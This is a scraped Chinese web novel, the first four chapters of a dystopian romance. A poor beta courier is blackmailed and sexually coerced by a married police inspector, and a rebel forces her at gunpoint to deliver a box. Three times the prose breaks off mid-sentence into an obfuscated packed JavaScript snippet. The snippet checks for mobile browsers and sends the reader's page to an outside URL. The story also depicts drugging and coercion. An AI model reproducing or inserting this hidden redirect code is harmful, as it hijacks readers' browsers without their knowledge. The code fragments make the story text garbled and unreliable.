《老实beta从审讯室开始[gb]》 1. 第 1 章 要说这个世界上最让人痛苦的事情是什么? 是工作。 那么更痛苦的是什么? 是好不容易下班了以为能回家休息,却被当做叛乱军同党抓了起来。 他们以“为叛乱军传递情报,协助反叛宣讲”的罪名把我逮捕起来关进了小黑屋,还不给我饭吃。 天杀的,我没吃早饭!知不知道一天工作十二个小时的底层牛马这辈子最大的盼头是吃饱饭啊?信不信我现在就叛乱给你们这群天龙人看啊! 假的,我压根不敢多说一句话,甚至抬头看天龙人的胆量都没有。 我对这群神经脆弱的警察了如指掌。但凡我多直视他们的眼睛一秒钟,他们就会跟个神经病一样掏出枪把我按警车上搜身。 底层牛马的命也是命啊,不能为了点尊严命都不要了吧? 就这样战战兢兢地待在小黑屋里半小时,我终于被带到了审讯室。 警员把我压在椅子上,用厚重镣铐限制我的双手,顺便给我进行了搜身。 我一穷二白,身上只有几个用来买饭团的钢镚和用于记录配送路线的纸和笔。 然而就是纸和笔让这群神经病确认了我“传递情报”的罪名。 狗屎!我如果传递情报根本不会留证据,我还会把你们这群看见纸和笔的人都杀了! 好吧,不管我的内心如何狂吼咆哮,我都必须在表面上保持我谦卑清冷且高洁的人格。 人嘛,没几个是不爱装的。我也只不过是比其他人更爱装一点而已。 审讯室内光线昏暗,唯有桌前亮起一盏苍白的小台灯。 此次负责审讯我的是警督,属于最高级别的警官。 笑的要死,我这种小牛马竟然还劳烦警督屈尊审讯。 “姓名,年龄。” “白无用,23岁。” “性别。” “beta,女性。” “性取向。” 我哽住,“警督大人,这貌似没有关系。” 警督留着一头鲜亮夺目的红色头发,五官更是明艳动人。听见我的回答后,他扬起有点恶心的微笑对我说:“对哦,确实没关系。” “21日凌晨四点,你在做什么?”他换了个问题。 “在家休息。” “是吗?为什么货运公司提供的排班表上显示当天这个时间点你在工作?而且配送区域正是西区。” 我心中的脏话差点脱口而出。 好在我谨记我风霜高洁的清冷月光人设,转而用更加沉稳的语气说:“警督大人,你知道我那天为什么没有工作。” “现在是审讯,为确保你的清白,我劝你最好如实交代。”警督大人翘起了二郎腿。 他知道我不会抬头看人,所以故意在桌子底下晃腿。黑色的裤腿,黑色的皮靴,还有那晃眼的红色鞋底,瞧着就价格不菲。 可恶的奢侈品刺痛了我贫穷的眼睛,于是我只能狼狈地扭过头不去看。 “现在,回答我的问题。”警督一边晃动小腿,一边用声音吸引我的注意力。 我深吸一口气,将当天发生的事情如实相告。 “20日傍晚五点半,我骑着我的自行车准备前往公司取货。可我的自行车半路掉链子,我不得不停下来花费五分钟修理,导致上班迟到五分钟被克扣了三百元工资。来到公司领取货物后,我按照往常的工作经验规划路线配送货物,直到21日凌晨两点四十分才停下来,去往路边的便利店购买饭团填饱肚子。” “我离开便利店就遇到了警督,被怀疑家中私藏违禁品,被迫放下货物带着警督前往家中搜查。等警督搜查完离开后,已经是凌晨四点多了。为此公司给我记了旷工并罚款五百。” 我已经尽可能平铺直叙了,可前面这个害我被记旷工罚款五百的罪魁祸首在听完我的讲述后发出了神经病一样的笑声。 “哈哈哈哈!真有意思,哈哈哈!” 我内心破防怒骂:你笑你爹呢!怎么不把你爹祖坟笑炸! 知不知道底层小牛马一个月工资才三千块? 也许是我的沉默让对方觉得索然无味。 警督很快就笑够了,随手把记录员认真记录的纸张撕掉扔进旁边的垃圾桶,“现在你清白了,白无用。” 我与记录员对视一眼。 我确定了!这个记录员也很烦神经病对吧!快上啊,把这个神经病的脑袋也摁进垃圾桶里! 然而他没动。 没用的东西! 离开审讯时候,我被警督带去了他的办公室。 红木制作的办公桌椅,奢侈高档的茶具,安全系数拉满的防弹玻璃,还有隐私性极高的遮光窗帘。 光是往这一站,我就感受到浓烈的金钱气息扑面而来。 警督拉上了窗帘,又点亮办公桌前的台灯。 这一次的灯光是暖黄色的,堪堪照亮桌面上的文件。 我没来得及看,视线就被警督挡住了。 “无用,你看看你多可怜,没有我就只能受罪。”神经病张口就是垃圾话。 放你爹的狗……该死的这神经病还真没说错! 但难道真的要我做出柔弱可怜的模样吗?那肯定不是啊。 如我这般清冷孤高的人设绝对不会承认自己是个脆皮小五花。 “奥维拉,我不喜欢这样。”我低声说道,发挥十二分的演技演绎出那种明明受制于人但因为骄傲不愿低头的悲情人设,“我知道我是无辜的,你也知道。可你偏偏要这样戏弄我,侮辱我的人格尊严。” “要让我人格受到侮辱,我宁愿去死。” 警督眨眨眼,黑色的瞳孔似乎收缩了一下。 不要小看底层小牛马察言观色的能力,不懂得揣摩上司微表情的牛马早就被踢出公司了好不好? “哈哈哈哈,无用,你就是喜欢说这些话逗笑我。”奥维拉又开始发出神经质的笑容,靠在我的肩膀上笑得浑身发颤。 这个神经病不会把口水蹭我衣服上了吧?咦惹,好恶心。 我嫌弃地把他往外推。 碍于办公室内有监控,我还得摆出更为复杂符合人设的表情,想想真是累。 “无用,我们不说那些废话了。”奥维拉又把我的手拉回去贴在面颊上。 “我们已经上过床了,没必要再拒绝我。21日那天你也很满意不是吗?我的腰上还有你留下的咬痕,要看看吗?” 他不提我就不说,他一提我就恼怒。 我立刻就把人推开了,一副正义言辞的模样拒绝他,“21日只是你的阴谋!如果不是你在我的水杯里下药,我怎么可能会和你发生关系!” “我的骄傲自尊绝对不允许我插足他人的婚姻,而你的alpha丈夫如果知道你犯下这种罪行,一定会让你身败名裂!” “不,他根本不会知道。”奥维拉压根不当回事,“他比春天的蜜蜂还忙。” “你看看你,一提起那天晚上的事情就生气。我明明暗示过你很多次了,可你完全听不懂似的一直躲着我。我没有办法啊,无用,我只能这样做了。但凡你在那天晚上之前主动点,我也不至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775039|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下药。” 我透,我要被这神经病的逻辑吓死了。 这个神经病知不知道他那天龙人丈夫一旦发现两人的奸情,第一个弄死的就是我啊? 不,这个神经病肯定知道。他就是单纯地想要玩弄我的身体罢了。 真该死,我再次诚挚祝福他家祖坟爆炸。 “那你就死了这条心吧。”我转身就打算走人。 “你昨晚在宣讲现场的监控视频在我手里。”他说道。 信个鬼,贫民窟哪他爹来的监控? 这神经病炸我呢。 “无用,你的弟弟才19岁吧?据说很聪明,还是个alpha。如果他被学校开除了,未来会有公司愿意雇佣他吗?” 我冷笑一声,就准备拧动门把手。 “只要答应做我的情人,我一句话就可以让你升职成为公司的经理。不仅每天只需要工作八个小时,工资也是从前的四倍。” 区区升职加薪,真当我会在乎吗? 我还真就在乎了。 我转过身对奥维拉怒目而视,“你明知道我是无辜的,我弟弟也是无辜的,却还要以此来威胁我!” “有用不就行了?”奥维拉坐在办公桌上,一条腿支起来,另一条腿则是垂下去晃荡。 头发在晃,腿也在晃,看得我恨不得上去照着他的脸来一拳。 “还不过来吗?”奥维拉双手支撑着上半身,并微微往后靠,“这里私密性很好,我觉得是不错的场所。” 我真的无语死了。 神经病不愧是神经病啊,到哪都能发情。 我觉得还不是时候,依旧站在门口的位置没有挪动。 他笑容越发灿烂了,身子也越来越靠后,并发出最后的提醒,“无用,你要是死了,你弟弟也就得跟着你一起死了。” 透的,忍无可忍。 这神经病根本说不到重点! 我大跨步走过去就掐住他的脖子往桌面上摁,“奥维拉,你每次都要以羞辱我人格的方式逼迫我吗?” 神经病,你到底能不能一句话让我升职加薪? 他不断地被我往上推,又粘糊糊地用双腿缠住我的腰坐回去。被我掐住脖子说不出话,就涨红着一张脸在那恶心吧啦地笑。 笑笑笑,我这种底层小牛马的钱就是被你们这群天龙人笑没的! 我被恶心得汗毛直立,把他领带扯下来绑住他的眼睛,“别用那恶心的眼神看我。” 奥维拉偏过脑袋,意识模糊地胡言乱语,“不在……脖子上……咳咳!咬一口吗?哈哈,他不会知道……咳咳!” 我才不这么干。万一哪天他丈夫突击检查看见了我怎么解释? 21日那时候我是被迫的,我当然可以想怎么干就怎么干。但今天我又没有被下药,我是处于“清醒的被迫状态”,当然得表现出一副除了必要交流外啥都不接触的样子啊。 总不能解释说对方把手伸到我嘴下不咬一口就枪毙我吧? 不管了,先把人透了再说。 这神经病怎么越喘越大声了? 虽然知道这办公室隔音效果很好,但我还是抓起了旁边的文件揉成团塞进对方嘴里。 别叫了,再叫外面的狗要给你吸引过来了。 等神经病意识最模糊的时候,我才稍微停下来看一眼文件上的标题。 《贫民窟拆迁和贫民驱逐计划书》 我沉默。 不仅透人的力气没了,连手指也痿了。 该死的神经病天龙人,果然是打算让我无家可归吗? 2. 第 2 章 结束的时候,我还盯着手中皱巴巴的纸团愁眉苦脸。 那个神经病懒洋洋地靠在沙发上,见我盯着手中的纸团,于是沙哑着嗓子开口问:“那是什么东西?” 不是,哥们,放你办公桌上的玩意你问我? 是因为扣扣空间太有限了所以不得不把脑子丢掉? “奥维拉,这是一份贫民窟拆迁计划书。”我深吸一口气,用尽可能平稳的语气对他说:“你们就没有想过吗?这里有很多穷人,如果把这里拆了,大家无处可去。” 奥维拉这才恍然大悟,精致漂亮的脸蛋上充满了上层人才有的愚蠢和天真,“这样啊,那他们不能去克亚区吗?那儿的环境虽然也不怎么样,但肯定比这里好。” 我哽住,拳头又硬了。 我不想住大房子是我不想吗?我不能照着你的脸上打一拳是因为我心疼吗? 然而神经病是不会停止说垃圾话的。 他只会喋喋不休地放屁。 “他们都是一群不交税的懒鬼,政府愿意给他们那么一大块地产安居乐业那么久已经很好了。而且你不觉得贫民窟很影响市容吗?如果把这一块地方改成风景优美的高尔夫球场,那得多美啊。”神经病一边说,一边慢悠悠地给自己套上衣服。 我再次被奢侈品的光芒刺痛双眼,咬牙切齿收回目光,“奥维拉,我也住在那,我也是贫民窟的一员。” “哈哈哈哈!”神经病放声大笑,“不不不,无用,你不一样。你是个好人,不仅愿意交税,还愿意去教堂祈祷。就因为你和那些懒鬼不一样,我才看得上你。” “如果可以,我宁愿没遇见你。”我依旧保持我坚韧不屈的人设,并且脑子开始快速旋转思考该怎么从他的手中骗到新的住所。 一群该死的天龙人,福利政策推行时三年又三年。但要说加税和拆迁绝对是龙卷风摧毁停车场一个比一个快。 我这种底层小牛马肯定是阻止不了了,必须要找个新的安身之所。 “你真可爱。”奥维拉捧着我的脸,又要凑过来亲吻我,“我都要爱上你了,无用。” 说几把爱不爱的多恶心,就不能来点实际的吗? 升职加薪到底可以不可以啊? 我一巴掌把他推开了,继续义正言辞,“奥维拉,我在认真地和你讨论问题。他们有他们的苦衷。但凡政府愿意给予他们合法合规的公民身份,他们一定会像我一样交税。我只是很幸运地有了公民的身份而已,我不是什么特别的人。” 这么说神经病可能听不懂。 毕竟是个靠着上行城丈夫的关系坐上警督位置的花瓶beta,我得说话通俗易懂点。 于是我左思右想,在把他往外推的同时继续说:“奥维拉,我不忍心看他们颠沛流离。就算我知道微薄的薪水支撑不了多久,我也会出手帮助他们,哪怕到最后我会成为流浪者的一员。你如果无法理解我,那请你闭上嘴。” 这下你能听懂了吧? 神经病快点让我升职加薪! 奥维拉又开始笑了。 鬼知道这人为什么那么爱笑。难道他丈夫就是因为他笑起来像个神经病所以才娶他的? “你真是个恋旧的人,无用。放心好了,我不会那么快签署文件的。”奥维拉将鬓边的红色发丝撩到而后,眼眸里满是笑意。 “现在最重要的是抓住那些不要脸的蛀虫叛乱党。在把他们全部送上处刑台之前,贫民窟会保持原样。” 我脸部绷紧,实际上内心发出尖锐爆鸣。 所以我的升职加薪呢?白白给你扣舒服了,不给我工资是吧? 你们天龙人不是最喜欢纯手工了吗?我这个底层小牛马不配拿工资? 早知道神经病那么抠门我就换个目标了。 心中失望极了,但还是得摆出充满同情心怜悯心的表情,“……希望如此。” “我要离开了,奥维拉。以后请不要再联系我,这是最后一次。”我整理一下根本没有乱过的衣服,“我是个保守的人,我无法忍受这样的关系。” “不要玩弄我,奥维拉。也许对你来说只是一次心血来潮的床上关系,但对我来说很重要。就算你用我的弟弟威胁我,我也要对你说出心里话。我是个有思想,有尊严的人。哪怕我们的身份地位差距很大,但死亡来临时我们的灵魂是一样的。” 我用痛苦又夹杂愤怒的目光凝望奥维拉,通过捕捉他面部肌肉的微弱动向来思考下一句要背哪一本书里的台词,“我企图和你有一场灵魂上的交流,无关身份地位,也无关肉/体,仅仅是分享灵魂。可你没有把我当回事。奥维拉,不要把我的痛苦不当回事。很多时候我宁愿死了,也不想遇见你。” “起码……起码……”来了,最考验演技的时候了! 我抬起手靠近他,然后在他惊讶的目光下捂住了他的眼睛。 “起码不用体会到原则和感情之间反复拉扯的痛苦。”我附在他的耳边轻声说道。 对对对,就是哽咽又痛苦,憎恨又爱恋的那种悲痛语气。 这句话说完,我就赶紧转过身快步离开办公室。 他爹的,再不走快点我就要憋不住打他了。 我脚步很快,偶尔遇见了几个比较脸熟的警员还朝他们点头示意。 毕竟我只是一个小小的送货员,就算今天被他们抓进局子,第二天也得舔着底层小牛马的脸来这里送货。 一个警员瞧见了我,上下打量一番后发出了超级不屑的冷哼声,“呵,小白脸。” 我当即皱起眉头,但没嘴,一副自尊自傲清者自清的模样。 嘻嘻,我从玻璃上看见奥维拉了,以后有你的小鞋穿。 走出警察局,我老远就看见了天边的晚霞。 天杀的,休息时间没有了,我还得去货运公司工作。 而我那破烂自行车也在逮捕时被警察们暴力破坏,只剩下可怜兮兮的几个小零件躺在地上发出无声地哀鸣。 狗屎,神经病还是去死吧。 心情爆炸的我不得不用步行的方式走去货运公司,并思考我的存款够不够买一辆新得自行车,或者购买合适的配件自己组装一辆。 压榨员工的天龙人可不会想着给员工配备自行车,他们只会说懒鬼不配工作。 越是走近了,我就越是能看见遥远处直冲云霄的灯光。 我知道那一束灯光是什么——白灯湾。 上流人中的上流人,我这辈子都想象不出来他们脚上的一双鞋要用我多少个月的工资购买。奥维拉的丈夫也不过是上行城的人而已,只要白灯湾的人稍微动动手指,这对狗男男都得死翘翘。至于我这种小牛马,甚至不用他开口就会被其他人弄死。 那玩意看多了晦气,我收回视线不打算继续看。 进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775040|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了公司,我算算时间只剩下一分多钟,于是加紧步伐前往打卡处。 这个该死的货运公司,但凡员工迟到一秒钟打卡机就会自动关闭识别系统,让员工无法录入人脸。 “滴——工号2728,配送员白无用!” 一声机械音响起,我赶在最后十秒钟之前打卡上班。 那个站在打卡机旁边的胖经理白眼翻上天,对我踩点上班的行为相当唾弃,“懒惰的社会蛀虫!但凡你们每天早点上班,就不至于在底层徘徊。以你们这样的工作态度,就该死死地躺在底层!” 我面无表情,理都不带理的。 以后找到机会了我一定要把这头猪踢出公司! 我正在准备周密计划时,发现猪头拿起了通讯器。 他的表情变了又变,好像是一头吃了迷幻剂变种猪肉。 等他看完通讯器上的信息,就强行扯开一个谄媚的微笑朝着我走过来。 “咳,白无用,上头找你谈话。” 上头?我的顶头上司,也就是公司老板? “我知道了。”我一面维持不为他人所动的人设,一边抬起腿往电梯的方向走。 电梯上行期间,我还在思考这头猪对我态度转变的理由,以及顶头上司找我的理由。 终于到达了顶层,我得以看见与公司一楼截然不同的装修风格。 精致奢华,到处都是昂贵的瓷器和娇嫩的鲜花。甚至有几个打扫卫生的仆人。 很符合我对omega的刻板印象。 办公室的大门就在眼前,都不需要我敲门,仆人已经替我敲了。 我猜测是仆人担心我肮脏的手会把门弄脏。 “进来吧。” 我跟随仆人进去,首先映入眼帘的是修剪花枝的年轻omega。 他就站在窗台边,长长的白色长发扎成了辫子洒在肩膀上。 “你就是白无用?”这位omega扭过头来看我。 而我的注意力完全被他手中的剪刀吸引。 怎么会有人在剪刀上镶钻石?这合理吗?区区omega会不会用剪刀?不会用就给我用! 克斯蒂满脸嫌弃的对我上下打量,刻薄又傲慢的眼神扫来扫去。因为那张脸过分秀气以至于刻薄的样子别有一番风味。 但我得表现出疑惑的样子,得对他的美色不为所动,“我是白无用,老板。” “啧,真不知道奥维拉看上你哪儿了。”克斯蒂把剪刀往地上一丢,仆人们自觉地走过去捡起来。 “脸确实不错,但到底是个贫民窟出身的穷人,甚至没有上过大学。”克斯蒂的埋怨越来越多,“哦天,你不会刚从监狱出来吧?身上的工作服为什么破破烂烂,难道不知道这是公司的财产吗?” “难道人到了28岁就会智力下降?他可真是个蠢货。” 我懂了,这也是个神经病。 我不该抱有希望的,因为天龙人都是神经病,他们都应该原地爆炸。 下一秒,克斯蒂说:“行了,以后你就是配送部门的经理,别再给我穿成这个穷酸的模样出现在公司。” 我立刻瞪大眼睛,疯狂压制上扬嘴角的同时还得用二十分的功力去演绎我的不敢置信,“什么?我应该什么都没做吧?” 放屁,为了升职加薪我可是足足透了神经病两次! 体力劳动也是劳动啊! 3. 第 3 章 “你当然什么都没做,穷酸鬼。”omega脸上鄙夷的神色更甚了,“天,和你这种没上过大学的文盲说话真费劲。” “我的意思很明显了,如果不是奥维拉向我推荐你,你连见我一面的资格都没有。” 好人山人海的话,这种话我听了无数遍,对我压根造成不了伤害。 这种受过教育的omega根本不知道底层人骂人的话有多脏,说出去我都感觉这个omega会尖叫报警。 升职加薪的梯子就这样摆在我面前,我的目标已经达到了。 但我还得再装一下,假意推辞两三次。 笑话,我可是个不卑不亢有精神有追求的人设,要真这样果断答应下来,我前期做的努力还要不要了? 于是我就这样沉默地听着克斯蒂没完没了的抱怨,直到对方不耐烦地挥手赶我走,我才上前一步说:“很抱歉,请容许我拒绝。” 克斯蒂的眉头狠狠一皱,漂亮的小脸蛋上写满了被底层人拒绝时的惊讶,“什么?” 好了,又到表演的时候咯。 首先情绪得层层递进,目光得复杂深邃,嘴巴也得动起来。 “我的意思是,拒绝。”我开口说道,目光克制地维持在对方的眼睛下方,“我不知道奥维拉是怎么向您提起我的,也不知道他如何形容我。” “但我有我的想法,我拒绝这没有理由的升职。” 奥维拉到底是有丈夫人,没有了丈夫他就什么都不是。 我要换一个目标,比如眼前的omega。虽然用脚指头想我都知道这个o将来会嫁给一个有权有势的a,但我起码可以在这段时间内尽可能捞更多的好处。 哎,我真是太可怜一beta了。为了努力生活好好活下去,不得不屈辱地任由这些天龙人侮辱我。大概是内心太空虚,所以我才不得不用清冷孤傲的人设伪装自己吧。 想到如今自己面临的处境,我不禁眼眶湿润,飞快地用手背把泪花擦去,然后继续摆出一副痛苦悲伤还要假装坚强的老实人模样。 “我和奥维拉什么关系都没有,老板,您不必因为他的话而照拂我。把我当成一个普通的员工就够了。” 克斯蒂被我狠狠震撼了。 我看得很清楚,这人的微表情从嫌弃变为微妙,还透着一丝不敢置信。 “好吧,那就当我什么都没说过。”克斯蒂的语气稍微放缓。 看样子是被我的纯粹的情感打动了。 至于是什么情感,我当然不会说。 我终于表现地放松下来,正式抬起眼睛看向克斯蒂,“谢谢您愿意听我说完,这让我感受到了奥维拉不曾给予我的尊重。” 我的眼神足够诚挚,也足够认真,就算是短短的三秒钟时间,我也确保我盯着omega的眼神郑重得仿佛在看金子。 这omega的眼睛颜色和黄金真的好像啊,如果能抠出来就好了。 克斯蒂的表情空白了一瞬,很快又恢复自然。 他无意识地用指尖挑起肩膀处的头发细细打卷,视线稍微偏移开来,“是吗,你的要求可真低。” “你可以走了。” “嗯,再见。”我十分有礼貌。 虽然我现在迫不及待想要升职加薪,恨不得立刻西装革履然后把楼下的猪头经理踢出公司。 但我想要更好的,就得忍耐下来。 这个omega是个空降老板,不出多久便会返回上行城结婚嫁人。到时候一定要重新找人来管理这个分公司。 我多好啊,我不卑不亢,对他又充满尊重和敬意。不管怎么想,我都是那个最佳接手公司的人选吧? 离开办公室之前,我又转折回来,“我有一个不情之请。” 他对我稍微有了点耐心,又似乎自信预料到什么,“说。” “如果可以的话,我明天可以再上来见您一次吗?没有别的意思。如果您感觉到不适,可以立刻拒绝我。” “……”他的嘴巴张了又张,最后什么也没说。 我自觉离开办公室。 计划通嘻嘻! 回到一楼的时候,我又看见了猪头经理。 他扭动恶心又肥胖的身子来到我面前,一副看不起我又不得不谄媚讨好地模样,“老板找你什么事?他有什么安排吗?” “没什么,只是我明天还得上去一趟而已。”我说道。 猪头的表情更加谄媚了。 这头猪以后不会再克扣我一点工资,反而会主动给我打掩护,减少工作量,在必要的时候还会有求于我。 “我去工作了。” 猪头点头哈腰,“是,是,你去吧。” 知道我的自行车被摧毁后,他还从仓库里调出了一辆崭新的自行车送达我面前,美其名曰员工福利。 我只是一个专心做自己工作的老实人,公司有没有这项福利我当然不知道。 我只是太容易相信别人了,我能有什么错? 领取了比从前少二分之一的货物,我踩着崭新的自行车开始了一天中忙碌的工作。 天色渐渐昏暗下来,然而遥远处的灯光依旧发亮。 周围的建筑物也被木板搭建的破屋子取代,只有偶尔能看见一些由砖头搭建的小屋子。 我对这些小屋子如数家珍。比如黑心诊所,黑心工厂,黑心中介,黑心垃圾回收站…… 全部他爹的都是无证经营的黑心商店,而我主要的配送客户就是这些。 贫民窟里大家都穷得叮当响,除了黑心老板外谁会没事在网上购买死贵还得交税的玩意啊? 今日的配送路线依旧有西区。 我路过了昨天叛乱宣讲的地方,看见被拉上的警戒线和地面的深色痕迹。 周围的居民都受到了牵连被抓进监狱,而宣讲的主谋早在21日当天被送上了处刑台。 我无意再此逗留太久。 这里阴森森的,谁知道会不会有死去的冤魂爬出来? 踩着自行车的我正打算离开,拐角突然伸出一只手来把我连人带车勒过去! 坚硬的物体怼上我的腰子,我立刻惊恐瞪大眼睛,“等一下!有话好好说!” 狗屎的这个时候根本无法维持人设! 浓重的血腥味环绕在鼻腔周围,有什么黏腻的液体落在了我的肩膀上。 “我知道你,配送员。”那人的声音响起,沙哑又暗沉。 我从对方厚重的呼吸中可以听出来,这绝对是个alpha,还是那种身体素质极好的那种a! “21日那天,我看见你了。” 我一个机灵,张口为自己辩驳,“没有!我那天压根没在现场,我送货呢!” alpha嗤笑一声,显然对我的软骨头行为相当不屑,“果然是个beta,没骨头的东西。我亲眼看见你上了那位警督的车,他还亲了你。呵,你们待在屋子里很长一段时间啊。” 听到此人的话,我心头一松。 哈哈哈原来只是发现我和神经病的奸情啊,我还当什么事呢……等等!这人不会说出去吧! “朋友,有话咱们好好说。只要你别把这件事情说出去,要我做什么都行。” “好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775041|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,替我送一个东西。”他终于说出了目的,“如果你不想事情暴露出去,那就给我乖乖送。如果你想着逃跑,我就会把你们的奸情说出去,当天晚上我的同伴就会翻入你家把你杀了。” 天杀的,叛乱党开始欺压底层公民了! 我只是一个被下药的无辜beta而已,我又做错了什么啊! 我甚至还要供养一个正在读书的弟弟呢!(没供养,真的没有!这只是女主的外在人设!) “好的没问题。”我果断答应下来。 没办法的啦,要活命嘛。 他又一次嘲笑了我软骨头的行为,“没用的废物。” 不是,你们这群人怎么和天龙人一个死样啊? 你清高,你了不起,你被人拿枪指着腰子还不屑一顾?有种你把枪给我啊,我立刻崩了你! 开玩笑的,我哪敢开口啊。 大概是我愤愤不平的情绪太明显被他发现了,那怼着腰子的枪力道更重了。 我吃痛得倒吸一口凉气,“哥!弟!朋友!这是我吃饭的家伙,别给我弄坏了!” 枪口总算是退后了一些。 “你要我送什么东西?要不现在交给我?”我没敢转身看他,生怕被杀人灭口。 alpha将一个巴掌大的盒子从后面递到我的面前,“三天后的这个时间点,放到东区码头一艘船的甲板上。” 贫民窟的东区靠近海边,有着众多偷渡犯和走私犯。不仅如此,很多犯罪团伙还会选择在那毁尸灭迹,杀完人分尸后直接丢进海里喂鱼。 “不是,哥们,那么多艘船,我怎么知道是哪一艘?” alpha的呼吸更重了,我想着应该是对方失血过多有点支撑不住。 要不要趁机夺走他的枪?毕竟听着声音很虚弱,我不是没有成功的可能。 但万一呢?他有什么底牌是我不知道的呢?能够当街劫持一个和警督有关系的beta,没有后手说不过去。 思来想去,我还是放弃反抗。 升职加薪的人生就在眼前,容不得一丝差错啊! “你去了就知道。”他丢下来一句屁话。 我心头一梗,无力感油然而生。 你要这样讲的话,我可不负责售后哦。 不过我还是将盒子收下,丢进了装货物的帆布包里。 “别想着逃跑。”他发出最后一声警告,“我的同伴会第一时间解决你。” “好好好,没问题。”我满口答应。 枪口缓缓离开,我感受倒血腥的气味离我远去。 我依旧保持一个姿势没有回头,直到声音彻底消失为止,才心有余悸回过头。 原地哪里还有人啊,唯有地板上留存着新鲜的血渍。 我又开始了头脑风暴,在举报与合污之间来回徘徊。 我选择后者。鬼知道那群警察会不会一个看我不爽给我扣上“监守自盗”的罪名抓进去? 奥维拉那个神经病也还没喜欢我到愿意为我沾染一身腥的程度。 当然,最重要的是——我也很好奇盒子里是什么东西。 万一留着有用呢? 现在不是和奥维拉撇清关系时机,要是他丈夫突击检查回来发现我俩的奸情要弄死我呢? 看在为叛乱党传递过一次东西的情面上,对方好歹会帮我一次吧? 万事留条路,总是有用的。 于是我快速脱掉了工作服的外套,又用灰尘掩盖住裤子上星星点点的血滴。 确认全身上下没有问题后,我才恢复如初地踩上自行车继续送货。 4. 第 4 章 今天的货物比从前少了很多,全部配送完全不过刚刚到凌晨两点。 我又在街道上待了一会,跑去常去的那间黑心便利店购买饭团吃。 “滴滴——”新来的戴口罩店员拿出扫描仪往饭团上一扫,“13元。” 熟悉的价格,还是一如既往的昂贵。 然而整个贫民窟只有这一个黑心便利店,我只能从这买东西吃。 往身上一摸,我僵住了。 钱没带! “现金还是电子支付?”透过口罩,店员的眼睛里写满不耐烦,一副死穷鬼买不起饭团就别吃的资本家模样。 “钱包不在,电子支付。”我说道,“开发票。” 店员抬头看了我一眼,表情有些微妙。 看什么看!13元就不是钱了?就要开发票!而且是纸质的! 最后,我拿着冷冰冰的打折饭团和一张发票离开了便利店。 回去的路上我依旧在思考叛乱党交给我的盒子里装着的是什么东西。 如果他真的有同伴,大可以把盒子交给同伴护送,没必要交给我一个陌生人来增加风险。会不会有一种可能,他其实也不知道他的同伴在哪里,恰巧最近警署方面搜查叛乱党,为了防止同伴身份暴露于是抓住一个陌生人来分担风险。 成功了自然皆大欢喜,要是失败暴露抓住的也是我! 要是他的同伴不存在,那我自然是想怎么样就怎么样。 但这种可能性太小,这些人都能够叛乱了谁知道临死前会做出什么样的反扑。 想通这一层,我顿时惊出一身冷汗。 可恶啊,怎么天龙人和叛乱党都抓着我这个底层小牛马压榨! 牛马的命也是命! 焦虑让我加快了啃饭团的速度。 我没有选择权,对方瞄上我的时候我就只剩一条路。 要么安全送到,要么被送上处刑台或被枪毙。 我就这样在焦虑中啃完了饭团,然后奇迹地把这件事情丢到脑子后面去了。 嗨嗨嗨!这不是还有三天的时间嘛!万一三天后的工作路线在东区呢!顺手就能送了。 怀抱着诡异的侥幸心理,我心安理得地回到了自己的小狗窝。 我居住的小房屋在贫民窟的边缘,处于克亚区和贫民窟之间的缓冲地带。 因为这里靠近警察局,公司和克亚区,所以需要支付的房租每个月高达八百块。尽管如此昂贵,但我当初得到公民身份时候还是咬咬牙租了下来。 没有别的,就因为这里靠近警察局。 但有些时候又因为太靠近警察局以至于没有盗贼敢闯进来。 我实在是太穷了了,恨不得盗贼从其他有钱人家里偷点值钱的东西然后落在我家里,然后我正好可以占为己有。 当初看见刚刚上任的奥维拉,我就知道我想要什么东西,我该怎么得到我要的东西。 我把盒子从帆布包里拿出来仔细观察。 是上了锁的盒子,说不定里面还有微型炸弹,只要我有胆子撬锁,我就会立刻死翘翘。 还不能着急,我告诉自己。 一切得从长计议,总会得到的。 于是我把盒子塞入了床底下,又用几个陈旧的木板挡住。 我就这样睡着了。 第二天,我度过了很平常的一个中午和下午。并且依旧没有思考出怎么把盒子安全送出去又不会被发现的好办法。 貌似除了我本人亲自去一趟外别无选择。 没关系,我还有两天时间呢。 我有些无赖地想道,然后在下楼的时候顺手从邻居手里抢过来一张白纸。 “不要脸的东西!”邻居唾骂一声,到底没有追上来打我。 通讯器响个不停,是奥维拉一直在发信息给我,让我去警察局一趟见他。 可笑,昨天我才放下狠话说不打算与他继续来往,今天要是乖乖送上门岂不是显得我很没有原则? 我这清冷自尊的人设还要不要了? 就这样踩着小自行车来到公司,我再次看见了猪头经理。 他看着比昨天更胖了,衬衫上的纽扣正艰难地拉扯两边的布料,却还是倔强地露出个恶心的肚脐眼。 